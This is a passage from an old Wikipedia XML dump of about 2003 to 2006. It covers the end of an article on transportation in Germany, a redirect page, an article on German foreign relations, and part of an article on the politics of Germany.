* [[Transportation in France|France]] - same gauge - voltage change [[15kVAC]]/([[25kVAC]] or [[1500VDC]]).
* [[Transportation in Luxembourg|Luxembourg]] - same gauge
* The [[Transportation in the Netherlands|Netherlands]] - same gauge - voltage change [[15kVAC]]/[[1500VDC]]
* [[Transportation in Belgium|Belgium]] - same gauge - voltage change [[15kVAC]]/[[3000VDC]]

=== International passenger trains ===
*Amsterdam Centraal - [[Berlin]] Ostbahnhof:
**Amsterdam Centraal, [[North Holland]], [[Netherlands]]
**[[Amersfoort]], [[Utrecht (province)]], Netherlands
**[[Deventer]], [[Overijssel]], Netherlands
**[[Hengelo]], [[Overijssel]], Netherlands
**[[Bad Bentheim]], [[Bentheim]], [[Weser-Ems]], [[Lower Saxony]], [[Germany]]
**[[Rheine]], [[Steinfurt (district)|Steinfurt]], [[Münster (region)]], [[North Rhine-Westphalia]], Germany
**[[Osnabrück]] Hbf, [[Weser-Ems]], [[Lower Saxony]], Germany
**[[Bünde]], [[Herford (district)]], [[Detmold (region)]], [[North Rhine-Westphalia]], Germany
**[[Bad Oeynhausen]], [[Minden-Lübbecke]], [[Detmold (region)]], [[North Rhine-Westphalia]], Germany
**[[Minden]],  [[Minden-Lübbecke]], [[Detmold (region)]], [[North Rhine-Westphalia]], Germany
**[[Hanover]] Hbf, [[Hanover (region)]], [[Lower Saxony]], Germany
**[[Wolfsburg]], [[Braunschweig (region)|Braunschweig]], [[Lower Saxony]], Germany
**[[Stendal]], [[Magdeburg (region)]], [[Saxony-Anhalt]], Germany
**Berlin [[Spandau]]
**Berlin [[zoo|Zoologischer Garten]]
**Berlin Ostbahnhof 
*Amsterdam Centraal - [[Vienna]] [[Vienna West Station|Westbf]]: 
**(see also [[Transportation in the Netherlands]])
**[[Emmerich]], [[Cleves (district)|Cleves]], [[Düsseldorf (region)]], [[North Rhine-Westphalia]], Germany
**[[Wesel]]
**[[Oberhausen]] Hbf, [[Düsseldorf (region)]], [[North Rhine-Westphalia]], Germany
**[[Duisburg]] Hbf, [[Düsseldorf (region)]], [[North Rhine-Westphalia]], Germany
**[[Düsseldorf]] Hbf, [[Düsseldorf (region)]], [[North Rhine-Westphalia]], Germany
**[[Cologne]] Hbf, [[Cologne (region)]], [[North Rhine-Westphalia]], Germany
**[[Nuremberg]] Hbf
**[[Regensburg]] Hbf
**[[Straubing]]
**[[Plattling]]
**[[Passau]] Hbf
**(see also [[Transportation in Austria]])
*Copenhagen Hovedbanegarden - [[Hamburg]] Hauptbahnhof:
**Copenhagen, [[Denmark]]
**[[Roskilde]], Denmark
**[[Ringsted]], Denmark
**[[Naestved]], Denmark
**[[Nykobing]], Denmark
**[[Rodby]], Denmark
**[[Puttgarden]], [[Ostholstein]], [[Schleswig-Holstein]], [[Germany]]
**[[Oldenburg]], [[Ostholstein]], [[Schleswig-Holstein]], Germany
**[[Neustadt]], [[Ostholstein]], [[Schleswig-Holstein]], Germany
**[[Lübeck]], [[Schleswig-Holstein]], Germany
**[[Hamburg]] Hbf, Germany
*[[Novosibirsk]]/[[Astana]]/[[Moscow]]/[[Saint Petersburg|St. Petersburg]]/[[Kharkiv]] - [[Berlin]] Lichtenberg (not all stations in Russia, Kazakhstan, Belarus and Ukraine listed):
**Astana, [[Kazakhstan]]
**[[Saratov]], [[Russia]]
**[[Minsk]], [[Belarus]]
***[[Moscow]] Belorusskaya, [[Russia]]
***[[Minsk]], [[Belarus]]
**[[Brest, Belarus]]
**[[Warsaw]] Wschodnia, [[Poland]]
***[[Kharkiv]], [[Ukraine]]
***[[Kyiv]], [[Ukraine]]
***[[Yahodyn]], [[Ukraine]]
***[[Warsaw]] Wschodnia, Poland
**[[Warsaw]] Centralna, Poland
**[[Warsaw]] Zachodnia, Poland
**[[Kutno]], [[Poland]]
**[[Konin, Poland|Konin]], Poland
**[[Poznan|Poznań]], Poland
**[[Swiebodzin|Świebodzin]], Poland
**[[Frankfurt (Oder)]], [[Brandenburg]], [[Germany]]
**[[Berlin]] Lichtenberg, [[Germany]]
*[[Berlin]] - [[Prague]] Holesovice:
**[[Berlin]] Ostbahnhof, [[Germany]]
**[[Elsterwerda]], [[Brandenburg]], Germany
**[[Dresden]] Neustadt, [[Saxony]], Germany
**[[Dresden]] Hauptbahnhof, [[Saxony]], Germany
**[[Bad Schandau]], [[Saxony]], Germany
**[[Děčín]], [[Czech Republic]]
**[[Usti nad Labem|Ústí nad Labem]], Czech Republic
**[[Prague]] Holesovice, Czech Republic
*[[Frankfurt am Main]] - [[Strasbourg]]/[[Basel]]:
**Frankfurt am Main Hauptbahnhof, [[Hesse]], [[Germany]]
**[[Mannheim]] Hbf, [[Baden-Württemberg]], Germany
**[[Karlsruhe]] Hbf, [[Baden-Württemberg]], Germany
***[[Kehl]], [[Baden-Württemberg]], Germany
***[[Strasbourg]], [[France]]
**[[Freiburg]], [[Baden-Württemberg]], Germany
**[[Basel]] Badischer Bahnhof, [[Switzerland]]
*[[Munich]] - [[Verona, Italy|Verona]]:
**[[Munich]] Hauptbahnhof, [[Bavaria]], Germany
**[[Munich]] Ostbahnhof, [[Bavaria]], [[Germany]]
**[[Rosenheim]], [[Bavaria]], Germany
**[[Kufstein]], [[Tyrol]], Austria
**[[Innsbruck]] Hauptbahnhof, [[Tyrol]], Austria
**[[Brenner Pass]], Austria - [[Italy]] ([[South Tyrol]])
**[[Bozen-Bolzano|Bozen]], [[South Tyrol]]
**[[Trento]], [[Italy]]
**[[Verona, Italy|Verona]] Porta Nuova, [[Italy]]

=== International freight trains ===

While Germany and most of [[contiguous]] [[Standard Gauge in Europe|Europe]] use [[Standard gauge]] (1435mm), differences in Signaling, Rules and Regulations, Electrification voltages, etc. tend to hamstrung freight operations across borders.

=== Metros ===
[[Image:S-Bahn Berlin Baureihe 481.jpg|thumb|Train of the [[Berlin S-Bahn|S-Bahn Berlin]]]]
Cities with [[metro]] or light rail (&quot;Stadtbahn&quot;) systems:
* [[Berlin]] ([[Berlin S-Bahn|S-Bahn]], and [[Berlin U-Bahn|U-Bahn]],)
* [[Bielefeld]] (Stadtbahn)
* [[Bonn]] (Stadtbahn)
* [[Bremen (city)|Bremen]] (Stadtbahn)
* [[Brunswick]] (Stadtbahn)
* [[Cologne]] (Stadtbahn)
* [[Düsseldorf]] (Stadtbahn)
* [[Frankfurt am Main]] (S-Bahn and Stadtbahn)
* [[Freiburg im Breisgau]] (Stadtbahn)
* [[Hamburg]] ([[Hamburg S-Bahn|S-Bahn]], and [[Hamburg U-Bahn|U-Bahn]], )
* [[Hanover]] (S-Bahn and Stadtbahn)
* [[Heidelberg]] (Stadtbahn)
* [[Karlsruhe]] (Stadtbahn)
* [[Mannheim]] (Stadtbahn)
* [[Munich]] ([[Munich S-Bahn|S-Bahn]], and [[Munich U-Bahn|U-Bahn]], )
* [[Nuremberg]] (S-Bahn and U-Bahn)
* [[Ruhr Area]] (Stadtbahn)
* [[Stuttgart]] (S-Bahn and Stadtbahn)

===See also===
*[[List of motorways in Germany]]
*[[Bundesstrasse 8]]

==Water transport==
[[Image:Two Ships-Hamburg.jpg|right|thumb|Hamburg Harbour]]
'''Waterways:''' 7,500 km (1999); major rivers include the [[Rhine]] and [[Elbe]]; [[Kiel Canal]] is an important connection between the [[Baltic Sea]] and [[North Sea]]

'''Pipelines:''' crude oil 2,500 km (1998)

'''Ports and harbours:''' [[Berlin]], [[Bonn]], [[Brake, Germany|Brake]], [[Bremen (city)|Bremen]], [[Bremerhaven]], [[Cologne]], [[Dortmund]], [[Dresden]], [[Duisburg]], [[Emden]], [[Hamburg]], [[Karlsruhe]], [[Kiel]], [[Lübeck]], [[Magdeburg]], [[Mannheim]], [[Oldenburg]], [[Rostock]], [[Stuttgart]]

The [[Hamburg Harbour|port of Hamburg]] is the largest sea-harbour in Germany and ranks #2 in Europe, #7 world-wide (2004)

'''Merchant marine:'''
&lt;br&gt;total: 475 ships (1,000 GRT or over) totaling 6,395,990 GRT/8,014,132 DWT
&lt;br&gt;'''ships by type:''' bulk 2, cargo 181, chemical tanker 12, container 239, liquified gas 2, multi-functional large load carrier 5, passenger 2, petroleum tanker 8, rail car carrier 2, refrigerated cargo 2, roll-on/roll-off 13, short-sea passenger 7 (1999 est.)

==Air transport==
[[Image:AirportFrankfurt terminal1.jpg|thumb|250px|Frankfurt Airport Terminal 1]]
'''Airports:''' 615 (1999 est.)

'''Airports - with paved runways:'''
* total: 320
** over 3,047 m: 14
** 2,438 to 3,047 m: 61
** 1,524 to 2,437 m: 67
** 914 to 1,523 m: 56
** under 914 m: 122 (1999 est.)

'''Airports - with unpaved runways:'''
* total: 295
** over 3,047 m: 2
** 2,438 to 3,047 m: 6
** 1,524 to 2,437 m: 6
** 914 to 1,523 m: 55
** under 914 m: 226 (1999 est.)

'''Heliports:''' 59 (1999 est.)

==See also==
* [[Germany]]
* [[Rail transport in Germany]]
* [[List of airports in Germany]]
* [[License plates in Germany]]

==External links==
* [[:de:Liste der Autobahnen in Deutschland]]
* [[:de:Liste der deutschen Bundesstraßen]]

[[Category:Transportation in Germany| ]]

[[fr:Transport en Allemagne]]
[[he:תחבורה בגרמניה]]
[[ru:Транспорт в Германии]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Germany</title>
    <id>11933</id>
    <revision>
      <id>15909644</id>
      <timestamp>2003-11-23T18:08:23Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <comment>Moving to Bundeswehr and German Federal Coast Guard</comment>
      <text xml:space="preserve">#redirect [[Bundeswehr]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Federal Republic of Germany</title>
    <id>11934</id>
    <revision>
      <id>42157443</id>
      <timestamp>2006-03-04T04:59:30Z</timestamp>
      <contributor>
        <ip>70.23.161.113</ip>
      </contributor>
      <comment>for embassies: check categories!</comment>
      <text xml:space="preserve">{{Politics of Germany}}

The [[Federal Republic of Germany]] is a [[Central Europe]]an country and member of the [[European Union]], [[Group of 8]] and [[NATO]] (among others).

The Federal Republic is one of the world's leading industrialized countries and the biggest market economy in [[Europe]] with &quot;windows to the [[Eastern world|East]] and [[Western world|West]]&quot;. 

Since [[German reunification|reunification]] in [[1990]] Germany has further extended its central position in European and global affairs.  


== History since 1990 ==
''for more information see article'' [[History of Germany since 1945]]

Since [[1951]] Germany is at the heart of European Integration and after German reunification in [[1990]] further promotes the peaceful integration with its neighbors. Strong ties with the [[United States]] remain central to German foreign policy. 

Within the framework of [[NATO]] and an integrated European Defence Force, the Federal Republic also re-starts to deploy military and combat units to mediate in conflict regions, worldwide.

Germany is one of the world's strongest supporters for ecological awarness in response to [[climate change]] and [[global warming]].

== Centerpieces of German Foreign Policy since 1945 ==

=== Franco-German cooperation ===
''see main article'' [[Franco-German cooperation]]

Being the historic core of [[Europe]] and the &quot;twin engine for European integration&quot; the cooperation with [[France]] is one of the most central element of German foreign policy. The [[Elysée Treaty]] from [[1963]] set the foundation for a collaboration that - next to the European project - also repeatedly called for a &quot;Core Union&quot; with maximum integration{{citationneeded}}.

=== European Integration ===

[[Image:European flag.svg||left|120px]] 
European Integration has gone a long way since the [[ECSC]] and the [[Elysée Treaty]]. Peaceful collaborations with its neighbors remain one of Germany's biggest political objectives, and Germany has been on the forefront of most achievements made in European integration:

* [[Maastricht Treaty]]

Most of the social issues facing European countries in general: immigration, aging populations, straining social-welfare and pension systems - are all important in Germany. 
Germany seeks to maintain peace through the &quot;deepening&quot; of integration among current members of the [[European Union]] member states 

* [[European Defence Force]]

* Introduction of the single currency € [[Euro]]

Germany's has been the largest net contributor to EU budgets for decades (in absolute terms - given Germanys comparatively large population - not per capita) and seeks to limit the growth of these net payments in the enlarged union. 

* [[European Constitution]]

===Westbindung===

&quot;Bindung&quot; is the [[German language|German]] word for ''fixation'' or ''bond''; &quot;Westbindung&quot; is Germany's implant into [[Western Europe]] and the [[Western World]].

In particular during the [[Cold War]] - but continuous into the 21st century - German foreign policy pursues the country's integration into [[NATO]] and a strong co-operation and [[collective security]] with its Western partners. 

As a free democracy and market economy, the world's largest exporting nation and the world's [[List of countries by GDP (nominal)|third-richest economy]] (nominal GDP) (behind the [[USA]] and [[Japan]]), Germany shares the interest and institutions of a free and secure world trade.

=== Israel and the Near East ===
''see main article'' [[Jews in Germany]] ''and'' [[Iran-Germany relations]]

Following [[German history]] during the [[Holocaust]], one of Postwar Germany's aims were to establish and maintain relations of [[Wiedergutmachung]] with the [[State of Israel]]. Starting with the [[Reparations Agreement between Israel and West Germany|Reparations Agreement]] in [[1952]], support for the national security of the State of Israel is central to German foreign policy.

Germany has been actively involved in the [[Israel-Jordan Peace Treaty]] in [[1979]], the [[Oslo Accords]] ([[1993]]) which led to the [[Israel-Jordan Peace Treaty]] in [[1994]] and the continuous [[Peace process in the Israeli-Palestinian conflict]] which make Germany arguably (next to the [[United States]]) Israel's closest ally. 

Germany also holds a special relationship with [[Turkey]] and is active in maintaining diplomatic relationships with [[Iran]].

===Ostpolitik===
''see main article'' [[Ostpolitik]]

During the postwar era, the FRG sought to improve relationship with the countries of [[Eastern Europe]], first establishing trade agreements and subsequently, diplomatic relations. 

=== Development Aid ===

Germany is one of the largest net contributors of the [[UNO]] and has several development agencies working in Africa and the Middle East.

== German reunification==
[[Image:Helmut kohl.jpeg|thumb|right|120px|[[Helmut Kohl]] was German chancellor from 1982 until 1998]]

''see main article'' [[German reunification]]

After the [[Fall of the Berlin Wall]] and the [[Treaty on the Final Settlement With Respect to Germany]], German reunification took effect on October 3rd [[1990]].

On [[November 14]], [[1990]], Germany and [[Poland]] signed a treaty confirming the [[Oder-Neisse line]]. They also concluded a cooperation treaty on [[June 17]], [[1991]]. Germany concluded four treaties with the [[Soviet Union]] covering the overall bilateral relationship, economic relations, the withdrawal of Soviet troops from the territory of the former [[German Democratic Republic|GDR]], and German support for those troops. 

[[Russia]] accepted obligations under these treaties as successor to the Soviet Union.

== Centerpieces of German Foreign Policy since 1990 ==

===Central &amp; Eastern Europe===

[[Image:Euro map de.png|thumb|200px|[[EU]] Monitary Union and the single currency [[euro]] in [[2004]]]]

* [[OSCE]]

* [[NATO]] enlargement

The German government was a strong supporter of the enlargement of [[NATO]]. 

* [[Yugoslav wars|Balkan Crisis]]

German troops participate in the multinational efforts to bring peace and stability to the [[Balkans]]. 

* [[European Union]] enlargement

[[Weimar triangle]]; Germany continues to be active economically in the states of central and eastern Europe, and to actively support the development of democratic institutions. In the [[2000]]s Germany has been arguably the centerpiece of the [[European Union]] (though the importance of [[France]] cannot be overlooked in this connection).

(''see also'' [[Foreign relations of the European Union]])

=== Russia ===

Germany tries to keep Russia engaged with the Western world. The future aim is to promote a stable market-economy liberal democrazy in Russia, which is part of the Western world.

=== China ===

Germany has traditionally good relationships with [[China]] (see [[Sino-German cooperation]]). In recent years trade between both countries has reached high volumes, both in import and exports. 

=== Ecological Involvement ===

[[Image:UNFCC Logo.gif|left|120px]] ''see also'' [[Intergovernmental Panel on Climate Change]]

[[Kyoto protocol]]


===Initiative for a Permanent Seat in the UNSC ===

As member of the [[G4 nations]], the German Federal Government began an initiative to obtain a permanent seat in the [[Security Council]] of the [[United Nations]], as part of the [[Reform of the United Nations]]. This would require approval of a two-thirds majority of the member states and approval of all five Security Council veto powers.

This aspiration could be successful due to Germany's good relations with the People's Republic of China and the Russian Federation. Furthermore, Germany's long-term relation to [[France]] may support this. Germany is a stable and democratic republic and a [[G7]] country which are also favourable attributes. The [[United Kingdom]] and [[France]] support German ascension to the supreme body. [http://www.dw-world.de/dw/article/0,1564,1618479,00.html] The [[USA]] are sending mixed signals.

=== War on terror ===

[[Image:Schröder and Bush.jpg|thumb|right|200px|Former Chancellor [[Gerhard Schröder]] with U.S. President [[George W. Bush]] at the White House in [[2001]]]]

In [[2001]] the discovery that the [[terrorism|terrorist]] cell which carried out the attacks against the [[United States]] on [[September 11, 2001]] was based in [[Hamburg]], sent shock waves through the country. 

America's [[2003 invasion of Iraq]]; many commentators credit the [[SPD]]'s  Most of the public was strongly against the conflict, and any deployment of troops. 

The government of Chancellor [[Gerhard Schröder]] backed the following U.S. military actions, sending [[Bundeswehr]] troops to [[Afghanistan]] to lead a joint NATO program to provide security in the country after the ousting of the [[Taliban]].

=== German-American relations ===
''see main article'' [[German-American relations]]

Since [[2006]] the new chancellor [[Angela Merkel]] seeks to intensify relations with the United States and rebuild it to a new axis in global affairs.

== Membership in International Institutions ==

[[European Council]], [[European Union]], [[European Space Agency]], [[G4 nations|G4]], [[G8]], [[IMF]], [[NATO]], [[OECD]], [[OSCE]], [[United Nations|UNO]], [[World Bank Group]], [[WTO]]

==Further Reading ==

* [http://www.aicgs.org/research/gereu/index.shtml Germany in Europe]
* [http://www.aicgs.org/events/2006/012306_summary.shtml The German Economy in the New Europe]
* [http://www.internationalepolitik.de/english/content/Special_Issue/ The United States, Germany and Europe: Building a Global Agenda]
* [http://www.aicgs.org/Publications/PDF/policyrep7.pdf EU Enlargement and Transatlantic Relations]

== External links ==
*[http://germany-un.org/ Permanent Mission of Germany to the United Nations]
* [http://www.auswaertiges-amt.de/www/en/index_html Auswärtiges Amt]
* [http://www.internationalepolitik.de/ Internationale Politik]
* [http://www.aicgs.org/index.shtml AICGS American Institute for Contemporary German Studies]
* [http://www.swp-berlin.org/ SWP German Institute for International and Security Affairs]

[[Category:Foreign relations by country|Germany]]
[[Category:Politics of Germany]]
[[Category:Foreign relations of Germany| ]]

[[de: Bundesdeutsche Außenpolitik 1945-1989]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Germany</title>
    <id>11935</id>
    <revision>
      <id>41905456</id>
      <timestamp>2006-03-02T14:44:40Z</timestamp>
      <contributor>
        <ip>204.10.221.251</ip>
      </contributor>
      <comment>/* &quot;Red-Green&quot; vs. Christian coalitions */</comment>
      <text xml:space="preserve">{{PoliticsGermany}}
'''Politics of Germany''' takes place in a framework of a [[federation|federal]] [[parliamentary democratic|parliamentary]] [[representative democracy|representative democratic]] [[republic]], whereby the [[Chancellor of Germany|Federal Chancellor]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. Federal [[legislative power]] is vested in both the [[government]] and the two chambers of parliament, [[Bundestag (Germany)|Bundestag]] and [[Bundesrat of Germany|Bundesrat]]. Since 1949 the party system is dominated by the conservative [[Christian Democratic Union (Germany)|Christian Democratic Union]] and the social democratic [[Social Democratic Party of Germany]].

The [[Judiciary of Germany]] is independent of the executive and the legislature.
The political system is laid out in the 1949 [[constitution]], the ''[[Basic Law of the Federal Republic of Germany|Grundgesetz]]'' (Basic Law), which remained in effect with minor amendments after [[1990]]'s [[German Reunification]].

The constitution emphasizes the protection of individual liberty in an extensive catalogue of human rights and also divides powers both between the federal and state levels and between the legislative, executive, and judicial branches. In many ways, the 1949 ''Grundgesetz'' is a strong response to the perceived flaws of the failed 1919 [[Weimar Republic]], which collapsed in favour of the dictatorship of the [[Third Reich]].

==Federalism==
The Federal Republic ''(Bundesrepublik)'' consists of 16 federal states ''([[States of Germany|Bundesländer]]).'' The ''Grundgesetz'' prescribes that legislature is to be handled by the states except where explicitly stated in the ''Grundgesetz'' itself. This principle has been more or less reversed in practice through many amendments of the constitution since 1949, leaving basically only police, education, cultural and communal affairs to be handled by state legislature. The executive branch, though, is still mainly organized at the state level, which means that laws that the state civil services operate under and enforce are to a large extent federal laws. This strengthens the states' role in federal legislation via the [[Bundesrat (Germany)|Bundesrat]].

The political systems of the individual states are prescribed by state constitutions, but resemble that of the federal level to a certain extent.
The heads of the federal states' governments are called ''Ministerpräsidenten'' (Minister-President) or&amp;mdash;in case of the three city-states&amp;mdash;''Regierender Bürgermeister'' (Governor-Mayor, in [[Berlin]]), ''Erster Bürgermeister'' (First Mayor, in [[Hamburg]]) or ''Bürgermeister und Präsident des Senats'' (Mayor and President of the Senate, in [[Bremen (state)|Bremen]]). They each form a state cabinet as well, although it is usually much smaller than the federal government.
Elections for the parliaments of the ''Bundesländer'' occur every four to five years, depending on the state.

==Federal [[executive branch]]==
The ''[[Chancellor of Germany|Bundeskanzler]]'' (Federal Chancellor) heads the ''[[Cabinet of Germany|Bundesregierung]]'' (Federal Cabinet) and thus the executive branch of the federal government. He is elected by and responsible to the ''[[Bundestag]]'', Germany's parliament. Germany, like the [[United Kingdom]], can thus be classified as a [[parliamentary system]].

The Chancellor cannot be removed from office during a 4-year term unless the ''Bundestag'' has agreed on a successor.  This [[Constructive Vote of No Confidence]] is intended to avoid the situation of the [[Weimar Republic]] in which the executive did not have enough support in the legislature to govern effectively, but the legislature was too divided to name a successor.

Except between 1969 and 1982, the Chancellor has always been the candidate of the largest party, usually supported by a coalition of two or more parties with a majority in the parliament. The Chancellor appoints a Vice-Chancellor ([[Deputy Chancellor of Germany|Vizekanzler]]), who is a member of his cabinet, usually the Foreign Minister. When there is a [[coalition government]] (which has, so far, always been the case, except for the period of 1957 to 1961), the Vice-Chancellor usually belongs to the smaller party of the coalition.

The heads of governments may change the structure of ministries whenever and however they see fit. For example, in the middle of January 2001, the Federal Ministry of Agriculture was renamed to Ministry of Consumer Protection, Food and Agriculture as a consequence of the [[Bovine spongiform encephalopathy|BSE]] crisis. For that measure, competences from the Ministry of Justice, the Ministry of Economy and the Ministry of Health were transferred to the new Ministry of Consumer Protection.  

Subordinate to the cabinet is the [[Civil service of Germany]].

By contrast, the duties of the ''[[President of Germany|Bundespräsident]]'' (Federal President) are largely representative and ceremonial; power is exercised by the Chancellor. The President is elected every 5 years on [[May 23]] by the Federal Assembly (''[[Bundesversammlung (Germany)|Bundesversammlung]]''), a special body convoked only for this purpose, comprising the entire ''Bundestag'' and an equal number of state delegates selected especially for this purpose.
In May 2004, [[Horst Köhler]] of the [[CDU|Christian Democratic Union]] was elected.  The reason that the President is not popularly elected is to prevent him from gaining enough popular legitimacy to circumvent the constitution, as occurred with the [[Weimar Republic]].
{{office-table}}
|[[President of Germany|President]]
|[[Horst Köhler]]
|[[Christian Democratic Union (Germany)|CDU]]
|[[1 July]] [[2004]]
|-
|[[Chancellor of Germany|Chancellor]]
|[[Angela Merkel]]
|[[Christian Democratic Union (Germany)|CDU]]
|[[22 November]] [[2005]]
|-
|Other government parties
|
|[[Social Democratic Party of Germany|SPD]], [[Christian Social Union in Bavaria|CSU]]
|
|}

==Federal parliament==
Germany has on federal level a [[bicameralism|bicameral]] [[legislature]]. The parliament has two [[bicameralism|chambers]]. The '''Federal Diet''' (''[[Bundestag]]'') nominally has 598 members, elected for a four year term, 299 members elected in single-seat [[constituency|constituencies]] according to [[First Past the Post electoral system|first-past-the-post]], while a further 299 members are allocated from statewide party lists to achieve a proportional distribution in the legislature, conducted according to a system of [[mixed member proportional representation]]. Voters vote once for a constituency representative, and a second time for a party, and the lists are used to make the party balances match the distribution of second votes. In the current parliament there are 5 [[overhang seat]]s, giving a total of 603. This is caused by larger parties winning additional single-member districts above the totals determined by their proportional party vote. 
A party must receive 5% of the national vote or win least three directly elected seats to be represented in the ''Bundestag''. This rule, often called the &quot;five percent hurdle&quot;, was incorporated into Germany's Election law to prevent political fragmentation and strong minor parties, which was considered a major reason for the inefficacy of the [[Weimar Republic]]'s [[Reichstag (institution)|Reichstag]]. The first ''Bundestag'' elections were held in the Federal Republic of Germany (&quot;West Germany&quot;) on August 14, 1949. Following Reunification, elections for the first all-German ''Bundestag'' were held on December 2, [[German federal election, 1990|1990]]. The last election was held on [[German federal election, 2005|September 18, 2005]], the new (16th) Bundestag is due to convene by mid-October. The number of Bundestag Deputies was reduced from 656 to 598 beginning in 2002, although under the additional member system, more deputies may be admitted if a party wins more directly elected seats than it would be entitled to under proportional representation. 

The ''[[Bundesrat (Germany)|Bundesrat]]'' (Federal Council) is the representation of the state governments at the federal level. It consists of 69 members who are delegates of the 16 ''[[States of Germany|Bundesländer]]'' and usually, but not necessarily include the 16 Minister Presidents themselves. The ''Länder'' each have from three to six votes in the ''Bundesrat'', dependent on population. ''Bundesrat'' members receive voting instructions from their state governments.

The legislature has powers of exclusive jurisdiction and concurrent jurisdiction with the ''Länder'' in areas specifically enumerated by the Basic Law.
The ''Bundestag'' bears the major responsibility. The necessity for the ''Bundesrat'' to concur on legislation is limited to bills related to revenue shared by the federal and state governments and those imposing responsibilities on the states, although in practice, this means that ''Bundesrat'' concurrence is very often required.

Since the political orientation of the ''Bundesrat'' (which depends on the various state elections that occur independently of the federal ones) is quite frequently the opposite of that of the ''Bundestag'', it has, in recent years, become more and more of a forum for the opposition parties, as opposed to one for state interests, as the constitution intended.

==Political parties and elections==
{{elect|List of political parties in Germany|Elections in Germany}}
{{German federal election, 2005}}
''More info: 16th [[German federal election, 2005]]''
The Federal Council is composed by representatives of the State governments.
{{Germany Bundesrat composition}}

==[[Judicial branch]]==
Germany has an independent [[Judiciary of Germany|judicial branch]]. Since the independence of the judiciary is historically older than democracy in Germany, the organization of courts is traditionally strong, and almost all state actions are subject to judicial review. Besides a so-called &quot;ordinary&quot; judicial branch that handles civil and criminal cases, which is in turn comprised of four levels of courts up to the ''[[Bundesgerichtshof]]'' in a fairly complex appeals system, there are separate branches for administrative, tax, labour, and social security issues, each with their own hierarchies. Courts are generally in the hands of the states, except for the highest courts of each branch, which are federal, respectively, to maintain a certain degree of unity in jurisdiction.

In addition, Germany has a powerful [[Federal Constitutional Court of Germany|Constitutional Court]], the ''Bundesverfassungsgericht.'' This is somewhat unique since the ''Grundgesetz'' stipulates in principle that every person may file a complaint to that court when his or her constitutional rights, especially the human rights, have been violated by the state.
Such actions can include laws passed by the legislative branch, court decisions, or acts of the administration. While in practice, only a small percentage of these constitutional complaints ''(Verfassungsbeschwerden)'' are successful, the Constitutional Court is known to frequently annoy both the executive and the legislative branches with far-reaching decisions. This has gone that far, that Judges openly said they don't care about the government, the Bundestag, the public opinion or the financial consequences, the only thing that matters is the constitution. It has to be said that the Bundesverfassungsgericht has very high approvement rates throughout the population.
The Constitutional Court also handles several other procedures such as disputes between state institutions over their constitutional powers.

==Recent political issues== 

===&quot;Red-Green&quot; vs. Christian coalitions===
In the 1998 election the [[Social Democratic Party of Germany|SPD]] emphasized commitment to reducing persistently high [[unemployment]] and appealed to voters' desire for new faces after 16 years of [[Helmut Kohl]]'s government. [[Gerhard Schröder]] positioned himself as a [[centrist]] &quot;[[Third Way]]&quot; candidate in the mold of Britain's [[Tony Blair]] and America's [[Bill Clinton]]--he was critiqued as &quot;Clintonblair&quot; by some newspaper sources throughout his election campaign. The [[Christian Democratic Union of Germany|CDU]]/[[Christian Social Union in Bavaria|CSU]] stood on its record of economic performance and experience in foreign policy.
The Kohl government was hurt at the polls by slower growth in the east in the past two years, widening the economic gap between east and west.
The final margin of victory was sufficiently high to permit a &quot;red-green&quot; coalition of the SPD with the Greens, bringing the Greens into a national government for the first time.

The first months of the new government were marked by policy disputes between the moderate and traditional left wings of the SPD, resulting in some voter disaffection. The first state election after the federal election was held in [[Hessen]] in February, 1999.

The CDU increased its vote by 3.5 % to emerge as the largest party, and was able to replace a SPD/Green coalition with a CDU/FDP coalition. The result was interpreted in part as a referendum on the federal government's proposed new citizenship law, which would have eased requirements for long-time foreign residents to obtain citizenship, and permitted them to retain their original citizenship as well.

In other state elections in 2000 and 2001, the respective SPD- or CDU-led coalition governments were re-elected into power.

From 1998 to 2005, the government has been built as a coalition of the [[Social Democratic Party of Germany]] (SPD) and [[German Green Party|Bündnis 90/Die Grünen]]. 

The next election for the ''[[Bundestag]]'' was [[September 22]], [[2002]]. Gerhard Schröder led the coalition of SPD and Greens to an 11 seat victory over the conservative challengers headed by [[Edmund Stoiber]] (CSU).

The [[coalition]] treaty for the second red-green coalition was signed [[October 16]], [[2002]]. With a significantly changed cabinet (see below), Schröder and Fischer began their second term.

===Conservative comeback=== 
In [[February 2003]] elections took place in the states of [[Hessen]] and [[Lower Saxony]], both leading to overwhelming victories for the conservatives. In Hessen, the CDU minister president [[Roland Koch]] was re-elected, with his party CDU gaining enough seats to govern without the former coalition partner [[Free Democratic Party (Germany)|FDP]].
In Lower Saxony, the former SPD minister president [[Sigmar Gabriel]] lost the elections, leading to an CDU/FDP-government headed by new minister president [[Christian Wulff]] (CDU). Both elections are seen as symptomatic for a widespread criticism against the current federal red-green government.

The protest against the [[2003 invasion of Iraq|Iraq war]] changed this situation a bit, favouring SPD and Greens.

The latest election in the state of [[Bavaria]] led to a landslide victory of the conservatives, gaining not just the majority (as usual), but two thirds of parliamentary seats.

In [[April 2003]], chancellor Schröder announced massive cuts in the social systems, called [[Agenda 2010]]. The changes include much-disputed reforms to the labour market and unemployment system, known as [[Hartz concept|Hartz I - Hartz IV]].

The European elections on [[June 13]], [[2004]] brought a staggering defeat for the Social Democrats, who polled only slightly more than 21 %, the lowest election result for the SPD in a nationwide election since the Second World War. Liberals, Greens, conservatives and the far left were the winners of the European election in Germany, because voters were disillusioned by high unemployment and cuts in social security, while the governing SPD party seems to be concerned with quarrels between the party wings and unable to give any clear direction. Many observers believe that this election marked the beginning of the end of the Schröder government and indicates a process in which the SPD party seems to shrink and/or fall apart.

===Rise of the Far-Right===
In [[September 2004]] elections were held in the states of [[Saarland]], [[Brandenburg]] and [[Saxony]]. In the Saar region the governing CDU could remain in power and gain one additional seat in the parliament. The SPD has lost seven seats, while the Liberals and Greens could re-enter the parliament. Remarkably and most surprising the [[Far-Right]] [[National Democratic Party of Germany (NPD)|National Democratic Party]], that had never gotten more than 1 or 2 % in recent decades, received about 4% of the votes (but did not receive a seat in the parliament, because they were not elected by at least 5% of the voters).

